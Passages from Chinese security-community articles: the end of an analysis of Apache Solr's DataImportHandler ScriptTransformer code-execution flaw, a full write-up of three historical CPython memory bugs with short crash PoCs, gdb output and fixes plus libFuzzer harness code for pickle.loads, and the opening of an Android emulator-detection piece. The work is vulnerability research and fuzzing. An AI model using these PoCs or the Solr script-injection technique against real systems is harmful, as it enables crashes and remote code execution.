随后在loadDataConfig中通过readFromXml方法解析提交的配置数据中的各个标签，比如document，script，function，dataSource等，传入的script自定义脚本即在此处被存入script变量，递归解析完所有标签构建出DIHConfiguration对象并返回。
获取到配置信息后通过this.importer.runCmd()方法处理导入过程
`this.importer.runCmd(requestParams, sw);`
在doFullImport中，首先会创建一个DocBuilder对象，DocBuilder的主要功能是从给定配置中创建Solr文档，同时会记录一些状态信息。随后通过execute()方法会通过遍历Entity的所有元素来解析config结构，最终得到是一个EntityProcessorWrapper对象。EntityProcessorWrapper是一个比较关键的类，继承自EntityProcessor，在整个解析过程中起到重要的作用，可以参考<https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html>
在解析完config数据后solr会把最后更新时间记录到配置文件中，这个时间是为了下次进行增量更新的时候用的。接着通过this.dataImporter.getStatus()判断当前数据导入是“全部导入”还是“增量导入”，两个操作对应的方法分别为doDelta()和doFullDump()，此处的操作是full-import，因此调用doFullDump()
在doFullDump()中调用的是DocBuilder.buildDocument()方法，这个方法会为发送的配置数据的每一个processor做解析，当发送的entity中含有Transformers时，会进行相应的转换操作，例如转换成日期格式(DateFormatTransformer)、根据正则表达式转换(RegexTransformer)等，这次出现问题的是ScriptTransformer，可以根据用户自定义的脚本进行数据转换。由于脚本内容完全是用户控制的，当指定的script含有恶意代码时就会被执行，下面看一下Solr中如何执行javascript代码：
在读取EntityProcessorWrapper的每一个元素时，是通过epw.nextRow()调用的，它返回的是一个Map对象，进入EntityProcessorWrapper.nextRow方法
通过applyTransformer()执行转换，调用的是相应Transformer的transformRow方法
ScriptTransformer允许多种脚本语言调用，如Javascript、JRuby、Jython、Groovy和BeanShell等，transformRow()方法则会根据指定的语言来初始化对应的解析引擎，例如此处初始化的是scriptEngine，用来解析JavaScript脚本
Solr中默认的js引擎是Nashorn，Nashorn是在Java 8中用于取代Rhino（Java 6，Java
7）的JavaScript引擎，在js中可以通过Java.type引用Java类，就像Java的import一样，此处就可以通过这个语法导入任意Java类。
随后通过反射调用自定义的函数并执行，例如通过java.lang.Runtime执行系统命令
整个漏洞就是因为可以通过`<script>`标签指定ScriptTransformer，而在这个标签内可以导入任意的java类，Solr也并没有对标签内容做限制，导致可以执行任意代码。
调用栈情况
### 补充
值得注意的是，官方给出的临时修复方案并不能缓解漏洞，当把相应当index
core的配置文件置为空时，dataimport的时候只是获取不到默认的配置，但是依然能够通过这个接口发送PoC，漏洞也依然能够触发，解决办法是把相应配置文件中的dataimport
requestHandler全部注释并重启Solr服务器，才能彻底关闭这个接口缓解漏洞。 | 社区文章 |
# cpython历史漏洞分析及其fuzzer编写
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 历史漏洞分析
主要历史漏洞来源于[cpython hackerone](https://hackerone.com/ibb-python/hacktivity)
这篇文章首先分析三个`cpython`历史漏洞，在我们简单熟悉了`cpython`的源码结构以后，再来编写一个`fuzzer`，其实算是添加`fuzzer`
### Integer overflow in _json_encode_unicode
调试环境
kali x86
GNU gdb (Debian 9.2-1) 9.2
gcc (Debian 9.3.0-13) 9.3.0
漏洞官方[issue](https://bugs.python.org/issue24522)
找到最近的一个未修复漏洞的`commit`
➜ cpython git:(master) git log --grep="prevent integer overflow"
commit bdaeb7d237462a629e6c85001317faa85f94a0c6
Author: Victor Stinner <[email protected]>
Date: Mon Oct 16 08:44:31 2017 -0700
bpo-31773: _PyTime_GetPerfCounter() uses _PyTime_t (GH-3983)
* Rewrite win_perf_counter() to only use integers internally.
* Add _PyTime_MulDiv() which compute "ticks * mul / div"
in two parts (int part and remaining) to prevent integer overflow.
* Clock frequency is checked at initialization for integer overflow.
* Enhance also pymonotonic() to reduce the precision loss on macOS
(mach_absolute_time() clock).
commit 7b78d4364da086baf77202e6e9f6839128a366ff
Author: Benjamin Peterson <[email protected]>
Date: Sat Jun 27 15:01:51 2015 -0500
prevent integer overflow in escape_unicode (closes #24522)
➜ cpython git:(master) git checkout -f 7b78d4364da086baf77202e6e9f6839128a366ff
➜ cpython git:(7b78d4364d) git log
commit 7b78d4364da086baf77202e6e9f6839128a366ff (HEAD)
Author: Benjamin Peterson <[email protected]>
Date: Sat Jun 27 15:01:51 2015 -0500
prevent integer overflow in escape_unicode (closes #24522)
commit 758d60baaa3c041d0982c84d514719ab197bd6ed // 未修复
Merge: 7763c68dcd acac1e0e3b
Author: Benjamin Peterson <[email protected]>
Date: Sat Jun 27 14:26:21 2015 -0500
merge 3.4
commit acac1e0e3bf564fbad2107d8f50d7e9c42e5ef22
Merge: ff0f322edb dac3ab84c7
Author: Benjamin Peterson <[email protected]>
Date: Sat Jun 27 14:26:15 2015 -0500
merge 3.3
commit dac3ab84c73eb99265f0cf4863897c8e8302dbfd
Author: Benjamin Peterson <[email protected]>
Date: Sat Jun 27 14:25:50 2015 -0500
...
➜ cpython git:(7b78d4364d) git checkout -f 758d60baaa3c041d0982c84d514719ab197bd6ed
Previous HEAD position was 7b78d4364d prevent integer overflow in escape_unicode (closes #24522)
HEAD is now at 758d60baaa merge 3.4
确定漏洞复现`commit: 758d60baaa3c041d0982c84d514719ab197bd6ed`
使用`gcc`编译该`commit`代码
➜ cpython git:(7b78d4364d) export ASAN_OPTIONS=exitcode=0 # clang -fsantize=address 发生错误时不退出
➜ cpython git:(7b78d4364d) CC="gcc -g -fsanitize=address" ./configure --disable-ipv6
➜ cpython git:(7b78d4364d) make
➜ cpython git:(758d60baaa) ./python --version
Python 3.5.0b2+
使用的`poc.py`
import json
sp = "x13"*715827883 #((2**32)/6 + 1)
json.dumps([sp], ensure_ascii=False)
使用`gdb`调试
(gdb) b Modules/_json.c:265
No source file named Modules/_json.c.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (Modules/_json.c:265) pending.
(gdb) r poc.py
Starting program: /root/cpython/python poc.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Breakpoint 1, escape_unicode (pystr=0x85c54800) at /root/cpython/Modules/_json.c:265
265 rval = PyUnicode_New(output_size, maxchar);
(gdb) p output_size
$1 = <optimized out>
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xb6028131 in escape_unicode (pystr=0x85c54800) at /root/cpython/Modules/_json.c:302
302 ENCODE_OUTPUT;
可以发现程序确实是崩溃了，但是我们没有看到`output_size`的值，为了观察其值，我们将`Makefile`中的`-O3`优化改为`-O0`,重新编译，再次使用`gdb`调试
(gdb) b Modules/_json.c:265
No source file named Modules/_json.c.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (Modules/_json.c:265) pending.
(gdb) r poc.py
Starting program: /root/cpython/python poc.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Breakpoint 1, escape_unicode (pystr=0x85c54800) at /root/cpython/Modules/_json.c:265
265 rval = PyUnicode_New(output_size, maxchar);
(gdb) p input_chars
$1 = 715827883
(gdb) p output_size
$2 = 4 <== 整数溢出
来分析一下溢出原因，溢出出现在`_json.c:escape_unicode`函数中
maxchar = PyUnicode_MAX_CHAR_VALUE(pystr);
input_chars = PyUnicode_GET_LENGTH(pystr);
input = PyUnicode_DATA(pystr);
kind = PyUnicode_KIND(pystr);
/* Compute the output size */
for (i = 0, output_size = 2; i < input_chars; i++) {
Py_UCS4 c = PyUnicode_READ(kind, input, i);
switch (c) {
case '\': case '"': case 'b': case 'f':
case 'n': case 'r': case 't':
output_size += 2;
break;
default:
if (c <= 0x1f)
output_size += 6; // 溢出，最后始终没有检测output_size的值，直接带入下面的New
else
output_size++;
}
}
rval = PyUnicode_New(output_size, maxchar);
修复
maxchar = PyUnicode_MAX_CHAR_VALUE(pystr);
input_chars = PyUnicode_GET_LENGTH(pystr);
input = PyUnicode_DATA(pystr);
kind = PyUnicode_KIND(pystr);
/* Compute the output size */
for (i = 0, output_size = 2; i < input_chars; i++) {
Py_UCS4 c = PyUnicode_READ(kind, input, i);
Py_ssize_t d;
switch (c) {
case '\': case '"': case 'b': case 'f':
case 'n': case 'r': case 't':
d = 2;
break;
default:
if (c <= 0x1f)
d = 6;
else
d = 1;
}
if (output_size > PY_SSIZE_T_MAX - d) { // 每次都需要做溢出判断
PyErr_SetString(PyExc_OverflowError, "string is too long to escape");
return NULL;
}
output_size += d;
}
rval = PyUnicode_New(output_size, maxchar);
### Integer overflow in _pickle.c
漏洞官方[issue](https://bugs.python.org/issue24521)
利用上面的方法找到最近的未修复`commit:614bfcc953141cfdd38606f87a09d39f17367fa3`
`poc.py`
import pickle
pickle.loads(b'I1nrx00x00x00x20x2e')
编译之后直接利用`gdb`调试`poc`(编译不使用`-fsanitize`选项)
(gdb) r poc.py
Starting program: /root/cpython/python poc.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0xb7875252 in _Unpickler_ResizeMemoList (self=0xb789c2fc, new_size=1073741824) at /root/cpython/Modules/_pickle.c:1069
1069 self->memo[i] = NULL;
(gdb) bt
#0 0xb7875252 in _Unpickler_ResizeMemoList (self=0xb789c2fc, new_size=1073741824) at /root/cpython/Modules/_pickle.c:1069
#1 0xb78752da in _Unpickler_MemoPut (self=0xb789c2fc, idx=536870912, value=0x664540 <small_ints+96>) at /root/cpython/Modules/_pickle.c:1092
#2 0xb787d75e in load_long_binput (self=0xb789c2fc) at /root/cpython/Modules/_pickle.c:5028
#3 0xb787e6bd in load (self=0xb789c2fc) at /root/cpython/Modules/_pickle.c:5409
#4 0xb78802e4 in pickle_loads (self=0xb78cb50c, args=0xb7931eac, kwds=0x0) at /root/cpython/Modules/_pickle.c:6336
#5 0x00569701 in PyCFunction_Call (func=0xb789d92c, arg=0xb7931eac, kw=0x0) at Objects/methodobject.c:84
#6 0x0048f744 in call_function (pp_stack=0xbfffeb80, oparg=1) at Python/ceval.c:4066
#7 0x0048b279 in PyEval_EvalFrameEx (f=0xb79b584c, throwflag=0) at Python/ceval.c:2679
#8 0x0048dc95 in PyEval_EvalCodeEx (_co=0xb79355c0, globals=0xb797666c, locals=0xb797666c, args=0x0, argcount=0, kws=0x0, kwcount=0, defs=0x0, defcount=0,
kwdefs=0x0, closure=0x0) at Python/ceval.c:3436
#9 0x00482287 in PyEval_EvalCode (co=0xb79355c0, globals=0xb797666c, locals=0xb797666c) at Python/ceval.c:771
#10 0x004b464a in run_mod (mod=0x701b50, filename=0xb799bd98 "poc.py", globals=0xb797666c, locals=0xb797666c, flags=0xbffff478, arena=0x6aab10)
at Python/pythonrun.c:1996
#11 0x004b44ba in PyRun_FileExFlags (fp=0x6f3e80, filename=0xb799bd98 "poc.py", start=257, globals=0xb797666c, locals=0xb797666c, closeit=1,
flags=0xbffff478) at Python/pythonrun.c:1952
#12 0x004b3048 in PyRun_SimpleFileExFlags (fp=0x6f3e80, filename=0xb799bd98 "poc.py", closeit=1, flags=0xbffff478) at Python/pythonrun.c:1452
#13 0x004b251c in PyRun_AnyFileExFlags (fp=0x6f3e80, filename=0xb799bd98 "poc.py", closeit=1, flags=0xbffff478) at Python/pythonrun.c:1174
#14 0x004ccdc2 in run_file (fp=0x6f3e80, filename=0x6697d0 L"poc.py", p_cf=0xbffff478) at Modules/main.c:307
#15 0x004cd8e0 in Py_Main (argc=2, argv=0x6661a0) at Modules/main.c:744
#16 0x0042569a in main (argc=2, argv=0xbffff5d4) at ./Modules/python.c:62
(gdb) x/10x self->memo
0x6af900: 0x00000000 0x00000000 0x00000000 0x00000081
0x6af910: 0x006d2da8 0xb7e8e778 0x00000000 0x00000000
0x6af920: 0x00000000 0x00000000
(gdb) x/10x self->memo+i
0x73d000: Cannot access memory at address 0x73d000
(gdb) p new_size
$3 = 1073741824
(gdb) p/x new_size
$4 = 0x40000000
(gdb) p PY_SSIZE_T_MAX
No symbol "PY_SSIZE_T_MAX" in current context.
(gdb) p new_size * sizeof(PyObject *)
$5 = 0 <== 溢出
(gdb) p sizeof(PyObject *)
$6 = 4
(gdb) p memo
$7 = (PyObject **) 0x6af900
(gdb) p *memo
$8 = (PyObject *) 0x0
(gdb) p self->memo_size
$9 = 32
可以发现由于整数溢出，已经导致了一个越界写的漏洞。
根据其调用栈，我们来一步一步分析其溢出的原因
来看一下最后出错函数
static int
_Unpickler_ResizeMemoList(UnpicklerObject *self, Py_ssize_t new_size)
{
Py_ssize_t i;
PyObject **memo;
assert(new_size > self->memo_size);
memo = PyMem_REALLOC(self->memo, new_size * sizeof(PyObject *));
if (memo == NULL) {
PyErr_NoMemory();
return -1;
}
self->memo = memo;
for (i = self->memo_size; i < new_size; i++)
self->memo[i] = NULL;
self->memo_size = new_size;
return 0;
}
根据`gdb`调试显示，由于溢出导致`new_size * sizeof(PyObject *)`数值为`0`，当其为`0`时传入
#define PyMem_REALLOC(p, n) ((size_t)(n) > (size_t)PY_SSIZE_T_MAX ? NULL
: realloc((p), (n) ? (n) : 1))
也就是`realloc(p, 1)`，执行成功，接下来就会造成越界写
self->memo[i] = NULL; // 越界写
继续回溯，看看`new_size`如何得到
static int
_Unpickler_MemoPut(UnpicklerObject *self, Py_ssize_t idx, PyObject *value)
{
PyObject *old_item;
if (idx >= self->memo_size) { // 条件成立直接*2分配空间
if (_Unpickler_ResizeMemoList(self, idx * 2) < 0)
return -1;
assert(idx < self->memo_size);
}
Py_INCREF(value);
old_item = self->memo[idx];
self->memo[idx] = value;
Py_XDECREF(old_item);
return 0;
}
再次回溯，寻找`idx`的来源
static int
load_long_binput(UnpicklerObject *self)
{
PyObject *value;
Py_ssize_t idx;
char *s;
if (_Unpickler_Read(self, &s, 4) < 0)
return -1;
if (Py_SIZE(self->stack) <= 0)
return stack_underflow();
value = self->stack->data[Py_SIZE(self->stack) - 1];
idx = calc_binsize(s, 4);
if (idx < 0) {
PyErr_SetString(PyExc_ValueError,
"negative LONG_BINPUT argument");
return -1;
}
return _Unpickler_MemoPut(self, idx, value);
}
查看`calc_binsize`函数
static Py_ssize_t
calc_binsize(char *bytes, int size)
{
unsigned char *s = (unsigned char *)bytes;
size_t x = 0;
assert(size == 4);
x = (size_t) s[0];
x |= (size_t) s[1] << 8;
x |= (size_t) s[2] << 16;
x |= (size_t) s[3] << 24;
if (x > PY_SSIZE_T_MAX)
return -1;
else
return (Py_ssize_t) x;
}
其最终来源于我们的输入值，所以通过修改我们的输入值，可以成功导致基于堆的越界写
修复
#define PyMem_RESIZE(p, type, n)
( (p) = ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL :
(type *) PyMem_REALLOC((p), (n) * sizeof(type)) // 如果为0，直接失败
### int and float constructing from non NUL-terminated buffer
找到未修复`commit:9ad0aae6566311c6982a20955381cda5a2954519`
官方[issues](https://bugs.python.org/issue24802)
这个issue我找到了`commit`，搭建了环境，但是没有复现成功，最主要的是，对我们寻找`fuzz`方面没有太大帮助，但是对我们理解字符串转换的危害还是很有帮助的，所以我们从原理上来跟一下源码
那就通过`issue`中提到的代码，从理论上来复现一下
`poc.py`
import array
float(array.array("B",b"A"*0x10))
调用栈
STACK_TEXT:
0080f328 651ac6e9 ffffffff 000000c8 00000000 python35!unicode_fromformat_write_cstr+0x10
0080f384 651ac955 0080f39c 090a2fe8 65321778 python35!unicode_fromformat_arg+0x409
0080f3d8 651f1a1a 65321778 0080f404 090a2fe8 python35!PyUnicode_FromFormatV+0x65
0080f3f4 652070a9 6536bd38 65321778 090a2fe8 python35!PyErr_Format+0x1a
0080f42c 6516be70 090a2fe8 0080f484 00000000 python35!PyOS_string_to_double+0xa9
0080f4f4 6514808b 06116b00 6536d658 6536d658 python35!PyFloat_FromString+0x100
0080f554 6516e6e2 06116b00 06116b00 06116b00 python35!PyNumber_Float+0xcb
...
直接看代码，首先是`floatobject.c`中的`PyFloat_FromString`
PyObject *
PyFloat_FromString(PyObject *v)
{
const char *s, *last, *end;
double x;
PyObject *s_buffer = NULL;
Py_ssize_t len;
Py_buffer view = {NULL, NULL};
PyObject *result = NULL;
if (PyUnicode_Check(v)) {
s_buffer = _PyUnicode_TransformDecimalAndSpaceToASCII(v);
if (s_buffer == NULL)
return NULL;
s = PyUnicode_AsUTF8AndSize(s_buffer, &len);
if (s == NULL) {
Py_DECREF(s_buffer);
return NULL;
}
}
else if (PyObject_GetBuffer(v, &view, PyBUF_SIMPLE) == 0) {
s = (const char *)view.buf; <<<<< 确定s的数据
len = view.len;
}
else {
PyErr_Format(PyExc_TypeError,
"float() argument must be a string or a number, not '%.200s'",
Py_TYPE(v)->tp_name);
return NULL;
}
last = s + len;
/* strip space */
while (s < last && Py_ISSPACE(*s))
s++;
while (s < last - 1 && Py_ISSPACE(last[-1]))
last--;
/* We don't care about overflow or underflow. If the platform
* supports them, infinities and signed zeroes (on underflow) are
* fine. */
x = PyOS_string_to_double(s, (char **)&end, NULL);
...
}
跟进`PyOS_string_to_double`
if (errno == ENOMEM) {
PyErr_NoMemory();
fail_pos = (char *)s;
}
else if (!endptr && (fail_pos == s || *fail_pos != ''))
PyErr_Format(PyExc_ValueError,
"could not convert string to float: "
"%.200s", s);
else if (fail_pos == s)
PyErr_Format(PyExc_ValueError,
"could not convert string to float: "
"%.200s", s);
else if (errno == ERANGE && fabs(x) >= 1.0 && overflow_exception)
PyErr_Format(overflow_exception,
"value too large to convert to float: "
"%.200s", s);
else
result = x;
跟进`PyErr_Format`函数
PyObject *
PyErr_Format(PyObject *exception, const char *format, ...)
{
va_list vargs;
PyObject* string;
#ifdef HAVE_STDARG_PROTOTYPES
va_start(vargs, format);
#else
va_start(vargs);
#endif
#ifdef Py_DEBUG
/* in debug mode, PyEval_EvalFrameEx() fails with an assertion error
if an exception is set when it is called */
PyErr_Clear();
#endif
string = PyUnicode_FromFormatV(format, vargs);
PyErr_SetObject(exception, string);
Py_XDECREF(string);
va_end(vargs);
return NULL;
}
继续跟进`PyUnicode_FromFormatV`
yObject *
PyUnicode_FromFormatV(const char *format, va_list vargs)
{
va_list vargs2;
const char *f;
_PyUnicodeWriter writer;
_PyUnicodeWriter_Init(&writer);
writer.min_length = strlen(format) + 100;
writer.overallocate = 1;
/* va_list may be an array (of 1 item) on some platforms (ex: AMD64).
Copy it to be able to pass a reference to a subfunction. */
Py_VA_COPY(vargs2, vargs);
for (f = format; *f; ) {
if (*f == '%') {
f = unicode_fromformat_arg(&writer, f, &vargs2);
if (f == NULL)
goto fail;
}
...
根据调用栈跟进`unicode_fromformat_arg`
由于`format`是由`%s`构成，所以我们只看`s`部分
unicode_fromformat_arg
...
case 's':
{
/* UTF-8 */
const char *s = va_arg(*vargs, const char*);
if (unicode_fromformat_write_cstr(writer, s, width, precision) < 0)
return NULL;
break;
}
...
利用`va_arg`直接读取了参数，并将指针`s`指向该地址，继续跟进`unicode_fromformat_write_cstr`
static int
unicode_fromformat_write_cstr(_PyUnicodeWriter *writer, const char *str,
Py_ssize_t width, Py_ssize_t precision)
{
/* UTF-8 */
Py_ssize_t length;
PyObject *unicode;
int res;
length = strlen(str);
if (precision != -1)
length = Py_MIN(length, precision);
unicode = PyUnicode_DecodeUTF8Stateful(str, length, "replace", NULL);
if (unicode == NULL)
return -1;
res = unicode_fromformat_write_str(writer, unicode, width, -1);
Py_DECREF(unicode);
return res;
}
直接利用`strlen`计算上面的参数长度，如果`str`不是一个以``结尾的字符串，那么接下来利用长度访问该地址的数据将会出现越界读写的问题
该漏洞主要原因来源于`floatobject.c`中的代码，`%s`的数据由强制转换而来
else if (PyObject_GetBuffer(v, &view, PyBUF_SIMPLE) == 0) {
s = (const char *)view.buf; <<<<< 强制转换
len = view.len;
}
提醒我们，在做强制转换时，要注意检查是否可以转换，转换后会不会造成漏洞
## fuzzer编写
上文我们已经分析完`cpython`的三个漏洞了，对`cpython`有了一定的了解，那么我们就开始编写`cpython`的`fuzzer`代码。
在编写前，我们来看看`cpython`自己有没有`fuzz`测试模块，简单搜索一下，发现在`Modules/_xxtestfuzz/`目录下存在`fuzz`代码，这就好办了，我们直接在此基础上添加我们想要测试的模块的fuzz代码就行
首先阅读一下`fuzz.c`大概的代码逻辑就会发现，如果想要添加模块的`fuzz`代码，还是很简单的
主要需要修改的就两个部分，拿`struck.unpack`来举例子
第一步，初始化
PyObject* struct_unpack_method = NULL;
PyObject* struct_error = NULL;
/* Called by LLVMFuzzerTestOneInput for initialization */
static int init_struct_unpack() {
/* Import struct.unpack */
PyObject* struct_module = PyImport_ImportModule("struct"); // 导出模块
if (struct_module == NULL) {
return 0;
}
struct_error = PyObject_GetAttrString(struct_module, "error"); // 导出所有的错误对象
if (struct_error == NULL) {
return 0;
}
struct_unpack_method = PyObject_GetAttrString(struct_module, "unpack"); // 得到unpack函数
return struct_unpack_method != NULL;
}
第二步，调用需要`fuzz`的函数，并过滤一些不必要的错误
/* Fuzz struct.unpack(x, y) */
static int fuzz_struct_unpack(const char* data, size_t size) {
/* Everything up to the first null byte is considered the
format. Everything after is the buffer */
const char* first_null = memchr(data, '', size);
if (first_null == NULL) {
return 0;
}
size_t format_length = first_null - data;
size_t buffer_length = size - format_length - 1;
PyObject* pattern = PyBytes_FromStringAndSize(data, format_length);
if (pattern == NULL) {
return 0;
}
PyObject* buffer = PyBytes_FromStringAndSize(first_null + 1, buffer_length);
if (buffer == NULL) {
Py_DECREF(pattern);
return 0;
}
PyObject* unpacked = PyObject_CallFunctionObjArgs(
struct_unpack_method, pattern, buffer, NULL); // 调用函数
/* Ignore any overflow errors, these are easily triggered accidentally */
if (unpacked == NULL && PyErr_ExceptionMatches(PyExc_OverflowError)) { // 过滤不必要的错误
PyErr_Clear();
}
/* The pascal format string will throw a negative size when passing 0
like: struct.unpack('0p', b'') */
if (unpacked == NULL && PyErr_ExceptionMatches(PyExc_SystemError)) {
PyErr_Clear();
}
/* Ignore any struct.error exceptions, these can be caused by invalid
formats or incomplete buffers both of which are common. */
if (unpacked == NULL && PyErr_ExceptionMatches(struct_error)) {
PyErr_Clear();
}
Py_XDECREF(unpacked);
Py_DECREF(pattern);
Py_DECREF(buffer);
return 0;
}
再添加一下`libfuzzer`调用代码
#if !defined(_Py_FUZZ_ONE) || defined(_Py_FUZZ_fuzz_struct_unpack)
static int STRUCT_UNPACK_INITIALIZED = 0;
if (!STRUCT_UNPACK_INITIALIZED && !init_struct_unpack()) {
PyErr_Print();
abort();
} else {
STRUCT_UNPACK_INITIALIZED = 1;
}
rv |= _run_fuzz(data, size, fuzz_struct_unpack);
#endif
整个过程完事
这里其实比较麻烦的是过滤错误信息，因为你不一定能知道你要`fuzz`的模块的所有错误信息，很有可能过滤不全，在fuzz的时候会出错，导致需要重新添加过滤条件，再重新开启fuzz，整个过程，我也没有很好的办法，就是不停的试错，最后把无关的错误信息都过滤，下面就会遇到这样的问题
我们上面分析的第一个漏洞`json`已经存在`fuzz`模块了，那么我们就添加第二个`pickle`模块的`fuzz`代码
首先初始化
PyObject* pickle_loads_method = NULL;
/* Called by LLVMFuzzerTestOneInput for initialization */
static int init_pickle_loads() {
/* Import struct.unpack */
PyObject* pickle_module = PyImport_ImportModule("pickle");
if (pickle_module == NULL) {
return 0;
}
pickle_loads_method = PyObject_GetAttrString(pickle_module, "loads");
return pickle_loads_method != NULL;
}
`pickle`本身的错误对象，我们需要到`_pickle.c`里面去找，在该文件的最后我们找到了添加错误对象的代码
PyMODINIT_FUNC
PyInit__pickle(void)
{
PyObject *m;
PickleState *st;
m = PyState_FindModule(&_picklemodule);
if (m) {
Py_INCREF(m);
return m;
}
if (PyType_Ready(&Pdata_Type) < 0)
return NULL;
if (PyType_Ready(&PicklerMemoProxyType) < 0)
return NULL;
if (PyType_Ready(&UnpicklerMemoProxyType) < 0)
return NULL;
/* Create the module and add the functions. */
m = PyModule_Create(&_picklemodule);
if (m == NULL)
return NULL;
/* Add types */
if (PyModule_AddType(m, &Pickler_Type) < 0) {
return NULL;
}
if (PyModule_AddType(m, &Unpickler_Type) < 0) {
return NULL;
}
if (PyModule_AddType(m, &PyPickleBuffer_Type) < 0) {
return NULL;
}
st = _Pickle_GetState(m);
/* Initialize the exceptions. */
st->PickleError = PyErr_NewException("_pickle.PickleError", NULL, NULL); // 添加第一个错误对象
if (st->PickleError == NULL)
return NULL;
st->PicklingError =
PyErr_NewException("_pickle.PicklingError", st->PickleError, NULL) // 添加第二个错误对象;
if (st->PicklingError == NULL)
return NULL;
st->UnpicklingError =
PyErr_NewException("_pickle.UnpicklingError", st->PickleError, NULL); // 添加第三个错误对象
if (st->UnpicklingError == NULL)
return NULL;
Py_INCREF(st->PickleError);
if (PyModule_AddObject(m, "PickleError", st->PickleError) < 0)
return NULL;
Py_INCREF(st->PicklingError);
if (PyModule_AddObject(m, "PicklingError", st->PicklingError) < 0)
return NULL;
Py_INCREF(st->UnpicklingError);
if (PyModule_AddObject(m, "UnpicklingError", st->UnpicklingError) < 0)
return NULL;
if (_Pickle_InitState(st) < 0)
return NULL;
return m;
}
进一步完善初始化代码
PyObject* pickle_loads_method = NULL;
PyObject* pickle_error = NULL;
PyObject* pickling_error = NULL;
PyObject* unpickling_error = NULL;
/* Called by LLVMFuzzerTestOneInput for initialization */
static int init_pickle_loads() {
/* Import struct.unpack */
PyObject* pickle_module = PyImport_ImportModule("pickle");
if (pickle_module == NULL) {
return 0;
}
// 获取pickle所有error对象
pickle_error = PyObject_GetAttrString(pickle_module, "PickleError");
if (pickle_error == NULL) {
return 0;
}
pickling_error = PyObject_GetAttrString(pickle_module, "PicklingError");
if (pickling_error == NULL) {
return 0;
}
unpickling_error = PyObject_GetAttrString(pickle_module, "UnpicklingError");
if (unpickling_error == NULL) {
return 0;
}
pickle_loads_method = PyObject_GetAttrString(pickle_module, "loads");
return pickle_loads_method != NULL;
}
继续编写调用代码
#define MAX_PICKLE_TEST_SIZE 0x10000
static int fuzz_pickle_loads(const char* data, size_t size) {
if (size > MAX_PICKLE_TEST_SIZE) {
return 0;
}
PyObject* input_bytes = PyBytes_FromStringAndSize(data, size);
if (input_bytes == NULL) {
return 0;
}
PyObject* parsed = PyObject_CallOneArg(pickle_loads_method, input_bytes);
// 将可能会遇到的各种error加进来。进行忽略
if (parsed == NULL && // 这里的错误过滤信息，需要一步一步测试，这是我测试的完整列表
(PyErr_ExceptionMatches(PyExc_ValueError) ||
PyErr_ExceptionMatches(PyExc_AttributeError) ||
PyErr_ExceptionMatches(PyExc_KeyError) ||
PyErr_ExceptionMatches(PyExc_TypeError) ||
PyErr_ExceptionMatches(PyExc_OverflowError) ||
PyErr_ExceptionMatches(PyExc_EOFError) ||
PyErr_ExceptionMatches(PyExc_MemoryError) ||
PyErr_ExceptionMatches(PyExc_ModuleNotFoundError) ||
PyErr_ExceptionMatches(PyExc_IndexError) ||
PyErr_ExceptionMatches(PyExc_UnicodeDecodeError)))
{
PyErr_Clear();
}
// pickle自身error进行忽略
if (parsed == NULL && (
PyErr_ExceptionMatches(pickle_error) ||
PyErr_ExceptionMatches(pickling_error) ||
PyErr_ExceptionMatches(unpickling_error)
))
{
PyErr_Clear();
}
Py_DECREF(input_bytes);
Py_XDECREF(parsed);
return 0;
}
添加`libfuzzer`调用代码
#if !defined(_Py_FUZZ_ONE) || defined(_Py_FUZZ_fuzz_pickle_loads)
static int PICKLE_LOADS_INITIALIZED = 0;
if (!PICKLE_LOADS_INITIALIZED && !init_pickle_loads()) {
PyErr_Print();
abort();
} else {
PICKLE_LOADS_INITIALIZED = 1;
}
rv |= _run_fuzz(data, size, fuzz_pickle_loads);
#endif
这里需要有一点注意的，如果我们直接利用上面的编译，可以使用，但是很快`fuzz_pickle_loads`就会退出，
退出的原因在于`libfuzzer`会有内存限制，即使提高了`libfuzzer`的内存使用量，但随着我们测试的深入，依然会因为内存不足
导致出问题，这个问题困扰了我很久，在不断试错，不断调试后发现最后通过修改`cpython`的源码解决
具体修改`Includepyport.h`里面的代码
#define PY_SSIZE_T_MAX ((Py_ssize_t)(((size_t)-1)>>1))
修改为
#define PY_SSIZE_T_MAX 838860800 // 100MB 100 * 1024 * 1024 * 8
这样就解决了`libfuzzer`内存限制，导致`fuzz`不断失败的问题
修改完后，可能`cpython`某些模块会因为内存过小导致编译失败，这里可以略过，只要我们的`fuzzer`程序能跑起来就行
整个过程折腾了我两天的时间，各种编译和运行错误，最后成功执行
tmux new -s fuzz_pickle ./out/fuzz_pickle_loads -jobs=60 -workers=6
我用六个线程，大概跑了一周的时间，没有发现任何`crash`，果然这种顶级开源项目相对来说代码质量还是不错的。有兴趣的可以自己跑一下，万一跑出来漏洞了呢 🙂
## 总结
最近大部分时间都是在看开源软件的漏洞，比如网络组件，开源语言等等，开源软件的好处就是我们可以直接根据`commit`，定位到漏洞，了解其漏洞原理和修复方法，之后就是不断分析其中的漏洞，然后想办法能不能自己编写一个`fuzzer`把这些漏洞跑出来，整个过程不断提高自己编写`fuzzer`的能力和分析漏洞的能力。
这类文章我应该会有一个开源漏洞`fuzz`系列，这个是第一篇，感兴趣的话可以关注一下我的[博客](https://github.com/xinali/articles/issues) | 社区文章 |
# 【技术分享】基于文件特征的Android模拟器检测（附实现代码下载）
|
##### 译文声明
本文是翻译文章，文章来源：同程安全应急响应中心
译文仅供参考，具体内容表达以及含义原文为准。
在我们开发的App中，我们可能不希望它被运行在模拟器上，所以我们需要一种手段去检测模拟器，当当前设备被检测为模拟器时，我们就直接结束掉App进程。目前常见的检测模拟器手段主要被应用在游戏领域和加固领域。
